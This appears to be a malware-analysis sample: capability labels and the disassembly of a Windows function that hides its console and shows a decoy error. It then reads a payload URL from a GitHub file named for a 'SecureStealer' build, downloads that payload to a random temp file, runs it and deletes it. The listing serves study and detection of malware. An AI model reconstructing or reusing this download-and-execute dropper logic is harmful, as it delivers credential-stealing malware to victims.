Function at 0x140001645
Capabilities:
Create process on windows
Create thread
Delete file
Download url
Get common file path
Initialize winhttp library
Prepare http request
Read file on windows
Receive data
Receive http response

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x1bf0
call fcn.140003510
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1b90], ecx
mov qword [rbp + 0x1b98], rdx
call sym.__main
mov rax, qword [rbp + 0x1b98]
mov rax, qword [rax]
lea rdx, str.r.exe
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1b58], rax
mov rax, qword [rbp + 0x1b58]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x1b58]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x1b54], eax
mov eax, dword [rbp + 0x1b54]
sub eax, 1
mov dword [rbp + 0x1b6c], eax
jmp 0x140001731
mov edx, dword [rbp + 0x1b6c]
mov rax, qword [rbp + 0x1b58]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0x1b58]
lea rax, [rbp + 0x730]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
movzx eax, byte [rbp + 0x730]
cmp al, 0xa
jne 0x14000172a
mov eax, dword [rbp + 0x1b54]
sub eax, 1
cmp dword [rbp + 0x1b6c], eax
jl 0x14000173c
sub dword [rbp + 0x1b6c], 1
cmp dword [rbp + 0x1b6c], 0
jns 0x1400016cf
jmp 0x14000173d
nop
mov eax, dword [rbp + 0x1b54]
sub eax, 1
cmp dword [rbp + 0x1b6c], eax
jge 0x1400017c1
mov eax, dword [rbp + 0x1b6c]
lea edx, [rax + 1]
mov rax, qword [rbp + 0x1b58]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0x1b58]
lea rax, [rbp + 0x730]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
lea rdx, [rbp + 0x730]
mov dword [rsp + 0x28], 0x400
lea rax, [rbp + 0xb30]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp + 0x1b58]
mov rcx, rax
call sym.fclose
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.HideConsole]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.ShowErrorMessage]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea rax, [rbp + 0x520]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
test eax, eax
je 0x140001ddb
movabs rax, 0x64006300620061
movabs rdx, 0x68006700660065
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x6c006b006a0069
movabs rdx, 0x70006f006e006d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x74007300720071
movabs rdx, 0x78007700760075
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x420041007a0079
movabs rdx, 0x46004500440043
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x4a004900480047
movabs rdx, 0x4e004d004c004b
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x5200510050004f
movabs rdx, 0x56005500540053
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x5a005900580057
movabs rdx, 0x33003200310030
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x36003500340033
movabs rdx, 0x3900380037
mov qword [rbp + 0xae], rax
mov qword [rbp + 0xb6], rdx
mov qword [rbp + 0x1b60], 0
jmp 0x14000199b
call sym.rand
movsxd rbx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.wcslen
mov rdi, rax
mov rax, rbx
mov edx, 0
div rdi
mov rcx, rdx
mov rax, rcx
movzx edx, word [rbp + rax*2 + 0x40]
mov rax, qword [rbp + 0x1b60]
mov word [rbp + rax*2 + 0x2f0], dx
add qword [rbp + 0x1b60], 1
cmp qword [rbp + 0x1b60], 7
jbe 0x140001957
mov word [rbp + 0x300], 0
lea rax, [rbp + 0x2f0]
lea rdx, [0x140005094]
mov rcx, rax
call sym.wcscat
lea rcx, [rbp + 0x2f0]
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x310]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
mov qword [rbp + 0x1b48], 0
mov qword [rbp + 0x1b40], 0
mov dword [rbp + 0x2ec], 0
mov dword [rbp + 0x2e8], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.A_WinHTTP_Example_Program_1.0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp + 0x1b48], rax
mov rax, qword [rbp + 0x1b48]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.raw.githubusercontent.com
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp + 0x1b40], rax
mov rax, qword [rbp + 0x1b40]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._Kartoshka2331_SecureStealerBuildURL_main_url.txt
lea rdx, [0x140005184]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp + 0x1b40], rax
mov rax, qword [rbp + 0x1b40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov rax, qword [rbp + 0x1b40]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
lea rdx, [rbp + 0x2ec]
mov rax, qword [rbp + 0x1b40]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call rax
test eax, eax
je 0x140001c73
mov eax, dword [rbp + 0x2ec]
test eax, eax
je 0x140001c76
mov eax, dword [rbp + 0x2ec]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x1b38], rax
cmp qword [rbp + 0x1b38], 0
je 0x140001c79
mov eax, dword [rbp + 0x2ec]
add eax, 1
mov edx, eax
mov rax, qword [rbp + 0x1b38]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp + 0x2ec]
lea r8, [rbp + 0x2e8]
mov rdx, qword [rbp + 0x1b38]
mov rax, qword [rbp + 0x1b40]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rax
test eax, eax
jne 0x140001bd8
mov rax, qword [rbp + 0x1b38]
mov rcx, rax
call sym.free
jmp 0x140001c7a
mov rax, qword [rbp + 0x1b38]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp + 0x1b34], eax
cmp dword [rbp + 0x1b34], 0
jle 0x140001c54
mov rdx, qword [rbp + 0x1b38]
mov eax, dword [rbp + 0x1b34]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1330]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp + 0x1b38]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0x2ec]
test eax, eax
jne 0x140001b19
jmp 0x140001c7a
nop
jmp 0x140001c7a
nop
jmp 0x140001c7a
nop
mov rax, qword [rbp + 0x1b40]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x1b48]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0x1330]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileW
test eax, eax
js 0x140001ddb
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rcx, [rbp + 0xb30]
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0xc0]
mov r9, rcx
mov r8, rdx
lea rdx, str.__s___s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0x2d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
je 0x140001ddb
mov rax, qword [rbp + 0x2d0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
mov eax, 0
add rsp, 0x1bf0
pop rbx
pop rdi
pop rbp
ret